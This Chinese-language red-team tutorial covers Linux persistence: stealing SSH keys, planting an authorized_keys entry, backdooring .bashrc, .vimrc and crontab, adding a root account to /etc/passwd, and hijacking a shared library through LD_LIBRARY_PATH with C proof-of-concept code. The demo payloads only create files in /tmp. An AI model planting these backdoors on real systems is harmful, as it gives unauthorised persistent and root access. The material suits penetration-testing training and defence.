Skip to main content

Linux 持久化

在之前,我们主要讨论了 Windows 平台的持久化技术,但是在实战中我们也会遇到大量的 Linux 边界主机,我们同样要学会持久化技术。持久化的表现形式可以有本地后门,即可以瞬间实现提权,例如给特定文件设置 SUID。还可以是远程控制的形式,即受害主机会以规律或不规律的间隔向 C2 服务器连接。作为从外部突破的红队操作员以及渗透测试人员角度,我们需要的是后者,即能直接提供 C2 会话。

SSH

id_rsa

在用户的 .ssh 文件夹中,id_rsa 是用户的私钥,默认权限是 600,即只有用户自己以及 root 权限可读。如果当前用户已经有了 SSH 密钥对,那么我们可以窃取 id_rsa,在外部通过 SSH 远程登陆。前提是目标对公网有开放 SSH 服务。

image.png

如果目标还没有生成密钥对,我们可以使用命令 ssh-keygen 生成。生成密钥的时候,可以选择设置 passphrase。因此,我们窃取得到的私钥也可能被用户设置了 passphrase,那么就是多了一层保护。对于 passphrase 的攻击我们会在后面章节提到。

web01@web01:~/.ssh$ ls -al
total 8
drwx------  2 web01 web01 4096 Jan 22 14:32 .
drwxr-xr-x 17 web01 web01 4096 Mar 29 14:08 ..
web01@web01:~/.ssh$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/web01/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/web01/.ssh/id_rsa
Your public key has been saved in /home/web01/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:Rc4NmsNu+od8GzddSY9RrgZAmCOTUliEYvvesY8+kuU web01@web01
The key's randomart image is:
+---[RSA 3072]----+
|     *+. +=     .|
|  o + +.+* +   o |
| . o . o=.+ o ...|
|  .    . o   ..+o|
|   .    S     +.o|
|    . oo     o . |
|   . =.+ .. o .  |
|    + Eoo oo .   |
|     ooooo..     |
+----[SHA256]-----+

image.png

authorized_keys

authorized_keys 文件也在 .ssh 文件夹中,默认不存在,我们可以手动创建。该文件中存放了一个列表的 SSH 公钥,对于存在于该文件中的公钥,持有者可以凭借公钥认证直接访问。对于攻击者来说,可以把自己的 SSH 公钥复制进该列表,从而实现持久化。

image.png


配置文件

bashrc 与 bash_profile

在用户目录下,每当一个新的 shell 实例被打开,bashrc 就会被执行。而 bash_profile 则是在用户首次登陆进系统的时候被执行。我们可以修改这两个文件以在用户登录的时候执行脚本以及设置环境变量。

dev01@dev01:~/.ssh$ echo 'touch /tmp/bashrc' >> ~/.bashrc 
dev01@dev01:~/.ssh$ ls -al /tmp/bashrc
ls: cannot access '/tmp/bashrc': No such file or directory
dev01@dev01:~/.ssh$ bash
dev01@dev01:~/.ssh$ ls -al /tmp/bashrc
-rw-rw-r-- 1 dev01 dev01 0 Mar 29 17:33 /tmp/bashrc

image.png

passwd 与 shadow

我们可以在 /etc/passwd 文件中写入一个后门 root 账户,密码我们可以借助 openssl 生成。下文案例中的哈希对应的明文密码为 123123

root@web01:/home/web01# openssl passwd -1 -salt dler 123123
$1$dler$C5tRZCGTq22ONPl0HmcXZ0
root@web01:/home/web01# echo 'senzee:$1$dler$C5tRZCGTq22ONPl0HmcXZ0:0:0:root:/root:/bin/bash' >> /etc/passwd
root@web01:/home/web01# exit
exit
web01@web01:~$ su senzee
Password: 
root@web01:/home/web01# 

image.png

但是如今 /etc/passwd 已经不再存储密码哈希了,如果我们添加一个后门用户,在 /etc/passwd 中会很显眼。而对于 shadow 来说,我们可以用类似的方法生成指定密码的哈希值,来替换一高权限用户的哈希值实现密码修改目的。很显然这么做并不划算。我们完全可以用系统命令添加用户或者修改用户密码。

crontab

/etc/crontab 控制着系统上的计划任务,我们可以决定一个计划任务的间隔时间、执行的操作等。

# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#

image.png

我们可以在该文件中写入一个计划任务,例如执行命令 touch /tmp/crontab,那么我们在末尾添加 * * * * * root touch /tmp/crontab,保存,等候一分钟。

root@web01:~# ls -al /tmp/crontab
ls: cannot access '/tmp/crontab': No such file or directory
root@web01:~# cat /etc/crontab 
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * root touch /tmp/crontab
#
root@web01:~# ls -al /tmp/crontab
-rw-r--r-- 1 root root 0 Mar 29 17:48 /tmp/crontab

image.png

如果以特定用户创建计划任务,我们可以使用 crontab -e 命令来编辑。

VIM 后门

考虑到 vim 是非常常用的文本编辑工具,并且 vim 支持特定的脚本命令,我们可以为 vim 命令插入后门。在用户目录下编辑或新建 .vimrc 文件,添加 :silent !touch /tmp/vim 命令。:silent 是为了消除打开 vim 时的提示消息,一定程度上提升隐蔽性,! 后面跟着的则是 bash 命令。我们来看一下成果:

image.png

web01@web01:~$ nano .vimrc 
web01@web01:~$ cat .vimrc 
:silent !touch /tmp/vim
web01@web01:~$ rm /tmp/vim
web01@web01:~$ vim

web01@web01:~$ ls -al /tmp/vim
-rw-rw-r-- 1 web01 web01 0 Mar 29 17:55 /tmp/vim

共享库劫持

虽然 Windows 与 Linux 的可执行程序的结构并不相同,但还是有一些相似之处。例如,Windows 程序会加载 DLL 文件,而 Linux 的 elf 程序会加载共享库文件。无论是 DLL 文件还是共享库文件,都可以被不同的应用复用。类似于 DLL 的搜索顺序,共享库的搜索也有着特定的顺序,顺序如下:

应用程序 RPATH 值所指定的目录

LD_LIBRARY_PATH 环境变量所指定的目录

应用程序 RUNPATH 值所指定的目录

/etc/ld.so.conf 文件中指定的目录

/lib,/lib64,/usr/lib,/usr/local/lib,/usr/local/lib64 以及其他一些可能的目录

在知道这样的顺序之后,我们可以在优先级更高的目录下放置恶意载荷,以被应用程序加载并触发代码执行或 Beacon 连接。

LD_LIBRARY_PATH 劫持

LD_LIBRARY_PATH 指定的路径优先级较高,如果我们在之前所述的 bashrc 中添加一个设置 LD_LIBRARY_PATH 环境变量的命令,那么用户在执行应用程序的时候,除了 RPATH 中指定的目录,我们所指定的路径中的共享库会被较为优先地加载。我们以较为常用的命令 /usr/bin/ping 为例,通过 ldd /usr/bin/ping 查看 ping 所加载的共享库文件,发现了一个看起来是报告错误的共享库 libgpg-error.so.0。希望取代原有的共享库文件不会影响到 ping 的功能。

image.png

我们编写一个简易的 PoC,代码如下:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h> // for setuid/setgid
static void hijack() __attribute__((constructor));
void hijack() {
	setuid(0);
	setgid(0);
	printf("HIJACKING...\n");
	system("touch /tmp/hijack1");
}

接着,对其进行编译与连接:

root@web01:/home/web01# gcc -Wall -fPIC -c -o hijack.o hijack.c 
root@web01:/home/web01# gcc -shared -o hijack.so hijack.o
root@web01:/home/web01# ldd /usr/bin/ping | grep error
	libgpg-error.so.0 => /lib/x86_64-linux-gnu/libgpg-error.so.0 (0x00007f36cfcb3000)

-Wall 选项给出更具体的警告,-fPIC 选项让编译器生成位置独立代码 (PIC),-c 选项让编译器先不连接。然后,第二个 gcc 命令中的 -share 告诉 gcc 生成共享库文件。

更改 LD_LIBRARY_PATH 环境变量以测试,然后执行 ping 命令,但是我们发现报错了:

root@web01:/home/web01# mv hijack.so libgpg-error.so.0
root@web01:/home/web01# export LD_LIBRARY_PATH=/home/web01
root@web01:/home/web01# ping 127.0.0.1
ping: /home/web01/libgpg-error.so.0: no version information available (required by /lib/x86_64-linux-gnu/libgcrypt.so.20)
ping: symbol lookup error: /lib/x86_64-linux-gnu/libgcrypt.so.20: undefined symbol: gpgrt_lock_lock, version GPG_ERROR_1.0

从报错中看到,应用程序期望从该共享库文件中读取到特定的函数、变量等。接下来我们要做的,中心思想类似于 DLL 代理,即把原共享库的功能转发到我们恶意的共享库中,但其实我们只需要把所要寻找的变量名 (包括函数名等) 定义在代码里就行,而不需要完整复刻其类型和用法。

我们可以使用命令 readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk '{print $8}' | sed 's/@@GPG_ERROR_1.0/;/g' 导出所需变量名。readelf 以及 -s 选项可以导出所有的变量名,--wide 使得输出不被截断,之后则是对变量名进行基于关键字的筛选并打印出来。

image.png

image.png

root@web01:/home/web01# readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk '{print $8}' | sed 's/@@GPG_ERROR_1.0/;/g' 
gpgrt_ftruncate;
gpgrt_logv;
gpgrt_strdup;
gpgrt_printf_unlocked;
gpgrt_ftello;
gpg_err_code_to_errno;
............
gpgrt_fpopen_nc;
gpgrt_fopenmem_init;
gpgrt_mopen;
gpg_error_check_version;
gpgrt_fseek;

将这些变量名添加到代码中,重新编译,并重复之前的步骤,最后执行 ping,我们发现劫持成功。

root@web01:/home/web01# mv hijack.so libgpg-error.so.0
root@web01:/home/web01# ping 127.0.0.1
ping: /home/web01/libgpg-error.so.0: no version information available (required by /lib/x86_64-linux-gnu/libgcrypt.so.20)
HIJACKING...
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.197 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.100 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.097 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.099 ms
^C
--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3068ms
rtt min/avg/max/mdev = 0.097/0.123/0.197/0.042 ms
root@web01:/home/web01# ls -al /tmp/hijack1 
-rw-r--r-- 1 root root 0 Mar 29 19:12 /tmp/hijack1

image.png